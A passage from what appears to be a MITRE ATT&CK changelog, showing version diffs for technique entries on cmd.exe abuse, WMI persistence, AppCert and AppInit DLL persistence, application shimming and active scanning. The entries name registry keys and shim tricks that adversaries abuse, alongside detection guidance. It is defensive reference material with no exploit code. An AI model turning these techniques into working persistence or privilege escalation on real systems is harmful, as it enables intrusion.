| > | well as normal scripting operations such as conditionals and | > | ack.mitre.org/techniques/T1021) such as [SSH](https://attack | ||
| > | loops. Common uses of batch files include long or repetitiv | > | .mitre.org/techniques/T1021/004).(Citation: SSH in Windows) | ||
| > | e tasks, or the need to run the same set of commands on mult | > | Batch files (ex: .bat or .cmd) also provide the shell with | ||
| > | iple systems. Adversaries may leverage <code>cmd.exe</code> | > | a list of sequential commands to run, as well as normal scri | ||
| > | to execute various commands and payloads. Common uses inclu | > | pting operations such as conditionals and loops. Common uses | ||
| > | de <code>cmd.exe /c</code> to execute a single command, or a | > | of batch files include long or repetitive tasks, or the nee | ||
| > | busing <code>cmd.exe</code> interactively with input and out | > | d to run the same set of commands on multiple systems. Adve | ||
| > | put forwarded over a command and control channel. | > | rsaries may leverage [cmd](https://attack.mitre.org/software | ||
| > | /S0106) to execute various commands and payloads. Common use | ||||
| > | s include [cmd](https://attack.mitre.org/software/S0106) to | ||||
| > | execute a single command, or abusing [cmd](https://attack.mi | ||||
| > | tre.org/software/S0106) interactively with input and output | ||||
| > | forwarded over a command and control channel. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 17:02:13.722000+00:00 | 2021-07-26 17:13:07.345000+00:00 |
| description | Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd.exe) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage cmd.exe to execute various commands and payloads. Common uses include cmd.exe /c to execute a single command, or abusing cmd.exe interactively with input and output forwarded over a command and control channel. | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SSH in Windows', 'description': 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Brent Murphy, Elastic', 'David French, Elastic'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-05 12:02:45.522000+00:00 | 2021-10-16 20:11:13.719000+00:00 |
| external_references[8]['source_name'] | Microsoft Register-WmiEvent | Elastic - Hunting for Persistence Part 1 |
| external_references[8]['description'] | Microsoft. (n.d.). Retrieved January 24, 2020. | French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020. |
| external_references[8]['url'] | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 | https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | WMI Objects | WMI: WMI Creation |
| x_mitre_detection | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1086) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process). | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process). |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Register-WmiEvent', 'description': 'Microsoft. (n.d.). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1'} |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 19:30:11.783000+00:00 | 2021-06-07 19:23:33.039000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Credential Request |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Nisani, Cymptom |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-16 19:37:02.355000+00:00 | 2021-10-17 14:51:49.334000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Metadata |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Access tokens | User Account: User Account Metadata |
| x_mitre_data_sources[4] | Process monitoring | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[5] | Process command-line parameters | Command: Command Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may execute active | t | 1 | Adversaries may execute active reconnaissance scans to gathe |
| > | reconnaissance scans to gather information that can be used | > | r information that can be used during targeting. Active scan | ||
| > | during targeting. Active scans are those where the adversar | > | s are those where the adversary probes victim infrastructure | ||
| > | y probes victim infrastructure via network traffic, as oppos | > | via network traffic, as opposed to other forms of reconnais | ||
| > | ed to other forms of reconnaissance that do not involve dire | > | sance that do not involve direct interaction. Adversaries m | ||
| > | ct interaction. Adversaries may perform different forms of | > | ay perform different forms of active scanning depending on w | ||
| > | active scanning depending on what information they seek to g | > | hat information they seek to gather. These scans can also be | ||
| > | ather. These scans can also be performed in various ways, in | > | performed in various ways, including using native features | ||
| > | cluding using native features of network protocols such as I | > | of network protocols such as ICMP.(Citation: Botnet Scan)(Ci | ||
| > | CMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) | > | tation: OWASP Fingerprinting) Information from these scans m | ||
| > | Information from these scans may reveal opportunities for ot | > | ay reveal opportunities for other forms of reconnaissance (e | ||
| > | her forms of reconnaissance (ex: [Search Open Websites/Domai | > | x: [Search Open Websites/Domains](https://attack.mitre.org/t | ||
| > | ns](https://attack.mitre.org/techniques/T1593) or [Search Op | > | echniques/T1593) or [Search Open Technical Databases](https: | ||
| > | en Technical Databases](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1596)), establishing operatio | ||
| > | T1596)), establishing operational resources (ex: [Develop Ca | > | nal resources (ex: [Develop Capabilities](https://attack.mit | ||
| > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | > | re.org/techniques/T1587) or [Obtain Capabilities](https://at | ||
| > | btain Capabilities](https://attack.mitre.org/techniques/T158 | > | tack.mitre.org/techniques/T1588)), and/or initial access (ex | ||
| > | 8)), and/or initial access (ex: [External Remote Services](h | > | : [External Remote Services](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1133) or [Exploit Public | > | ques/T1133) or [Exploit Public-Facing Application](https://a | ||
| > | -Facing Application](https://attack.mitre.org/techniques/T11 | > | ttack.mitre.org/techniques/T1190)). | ||
| > | 90)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:06:50.402000+00:00 | 2021-04-15 03:20:09.600000+00:00 |
| description | Before compromising a victim, adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppCert DLLs | > | ges by executing malicious content triggered by AppCert DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppCertDLLs</code> Registry key un | > | re specified in the <code>AppCertDLLs</code> Registry key un | ||
| > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | ||
| > | l\Session Manager\</code> are loaded into every process that | > | l\Session Manager\</code> are loaded into every process that | ||
| > | calls the ubiquitously used application programming interfa | > | calls the ubiquitously used application programming interfa | ||
| > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | ||
| > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | ||
| > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | ||
| > | . (Citation: Endgame Process Injection July 2017) Similar t | > | . (Citation: Elastic Process Injection July 2017) Similar t | ||
| > | o [Process Injection](https://attack.mitre.org/techniques/T1 | > | o [Process Injection](https://attack.mitre.org/techniques/T1 | ||
| > | 055), this value can be abused to obtain elevated privileges | > | 055), this value can be abused to obtain elevated privileges | ||
| > | by causing a malicious DLL to be loaded and run in the cont | > | by causing a malicious DLL to be loaded and run in the cont | ||
| > | ext of separate processes on the computer. Malicious AppCert | > | ext of separate processes on the computer. Malicious AppCert | ||
| > | DLLs may also provide persistence by continuously being tri | > | DLLs may also provide persistence by continuously being tri | ||
| > | ggered by API activity. | > | ggered by API activity. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:22:45.298000+00:00 | 2020-11-10 18:29:31.052000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppInit DLLs | > | ges by executing malicious content triggered by AppInit DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppInit_DLLs</code> value in the R | > | re specified in the <code>AppInit_DLLs</code> value in the R | ||
| > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | ||
| > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | ||
| > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | ||
| > | on\Windows</code> are loaded by user32.dll into every proces | > | on\Windows</code> are loaded by user32.dll into every proces | ||
| > | s that loads user32.dll. In practice this is nearly every pr | > | s that loads user32.dll. In practice this is nearly every pr | ||
| > | ogram, since user32.dll is a very common library. (Citation: | > | ogram, since user32.dll is a very common library. (Citation: | ||
| > | Endgame Process Injection July 2017) Similar to Process In | > | Elastic Process Injection July 2017) Similar to Process In | ||
| > | jection, these values can be abused to obtain elevated privi | > | jection, these values can be abused to obtain elevated privi | ||
| > | leges by causing a malicious DLL to be loaded and run in the | > | leges by causing a malicious DLL to be loaded and run in the | ||
| > | context of separate processes on the computer. (Citation: A | > | context of separate processes on the computer. (Citation: A | ||
| > | ppInit Registry) Malicious AppInit DLLs may also provide per | > | ppInit Registry) Malicious AppInit DLLs may also provide per | ||
| > | sistence by continuously being triggered by API activity. | > | sistence by continuously being triggered by API activity. | ||
| > | The AppInit DLL functionality is disabled in Windows 8 and l | > | The AppInit DLL functionality is disabled in Windows 8 and l | ||
| > | ater versions when secure boot is enabled. (Citation: AppIni | > | ater versions when secure boot is enabled. (Citation: AppIni | ||
| > | t Secure Boot) | > | t Secure Boot) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:34:09.996000+00:00 | 2020-11-10 18:29:31.076000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by application | > | ges by executing malicious content triggered by application | ||
| > | shims. The Microsoft Windows Application Compatibility Infra | > | shims. The Microsoft Windows Application Compatibility Infra | ||
| > | structure/Framework (Application Shim) was created to allow | > | structure/Framework (Application Shim) was created to allow | ||
| > | for backward compatibility of software as the operating syst | > | for backward compatibility of software as the operating syst | ||
| > | em codebase changes over time. For example, the application | > | em codebase changes over time. For example, the application | ||
| > | shimming feature allows developers to apply fixes to applica | > | shimming feature allows developers to apply fixes to applica | ||
| > | tions (without rewriting code) that were created for Windows | > | tions (without rewriting code) that were created for Windows | ||
| > | XP so that it will work with Windows 10. (Citation: Endgame | > | XP so that it will work with Windows 10. (Citation: Elastic | ||
| > | Process Injection July 2017) Within the framework, shims a | > | Process Injection July 2017) Within the framework, shims a | ||
| > | re created to act as a buffer between the program (or more s | > | re created to act as a buffer between the program (or more s | ||
| > | pecifically, the Import Address Table) and the Windows OS. W | > | pecifically, the Import Address Table) and the Windows OS. W | ||
| > | hen a program is executed, the shim cache is referenced to d | > | hen a program is executed, the shim cache is referenced to d | ||
| > | etermine if the program requires the use of the shim databas | > | etermine if the program requires the use of the shim databas | ||
| > | e (.sdb). If so, the shim database uses hooking to redirect | > | e (.sdb). If so, the shim database uses hooking to redirect | ||
| > | the code as necessary in order to communicate with the OS. | > | the code as necessary in order to communicate with the OS. | ||
| > | A list of all shims currently installed by the default Wind | > | A list of all shims currently installed by the default Wind | ||
| > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | ||
| > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | ||
| > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | ||
| > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | ||
| > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | ||
| > | <code>hklm\software\microsoft\windows nt\currentversion\app | > | <code>hklm\software\microsoft\windows nt\currentversion\app | ||
| > | compatflags\custom</code> To keep shims secure, Windows des | > | compatflags\custom</code> To keep shims secure, Windows des | ||
| > | igned them to run in user mode so they cannot modify the ker | > | igned them to run in user mode so they cannot modify the ker | ||
| > | nel and you must have administrator privileges to install a | > | nel and you must have administrator privileges to install a | ||
| > | shim. However, certain shims can be used to [Bypass User Acc | > | shim. However, certain shims can be used to [Bypass User Acc | ||
| > | ount Control](https://attack.mitre.org/techniques/T1548/002) | > | ount Control](https://attack.mitre.org/techniques/T1548/002) | ||
| > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | ||
| > | L), disable Data Execution Prevention (DisableNX) and Struct | > | L), disable Data Execution Prevention (DisableNX) and Struct | ||
| > | ure Exception Handling (DisableSEH), and intercept memory ad | > | ure Exception Handling (DisableSEH), and intercept memory ad | ||
| > | dresses (GetProcAddress). Utilizing these shims may allow a | > | dresses (GetProcAddress). Utilizing these shims may allow a | ||
| > | n adversary to perform several malicious acts such as elevat | > | n adversary to perform several malicious acts such as elevat | ||
| > | e privileges, install backdoors, disable defenses like Windo | > | e privileges, install backdoors, disable defenses like Windo | ||
| > | ws Defender, etc. (Citation: FireEye Application Shimming) S | > | ws Defender, etc. (Citation: FireEye Application Shimming) S | ||
| > | hims can also be abused to establish persistence by continuo | > | hims can also be abused to establish persistence by continuo | ||
| > | usly being invoked by affected programs. | > | usly being invoked by affected programs. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 19:05:30.140000+00:00 | 2020-11-10 18:29:31.094000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Module: Module Load | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ a known asymmetric encryption algorit | t | 1 | Adversaries may employ a known asymmetric encryption algorit |
| > | hm to conceal command and control traffic rather than relyin | > | hm to conceal command and control traffic rather than relyin | ||
| > | g on any inherent protections provided by a communication pr | > | g on any inherent protections provided by a communication pr | ||
| > | otocol. Asymmetric cryptography, also known as public key cr | > | otocol. Asymmetric cryptography, also known as public key cr | ||
| > | yptography, uses a keypair per party: one public that can be | > | yptography, uses a keypair per party: one public that can be | ||
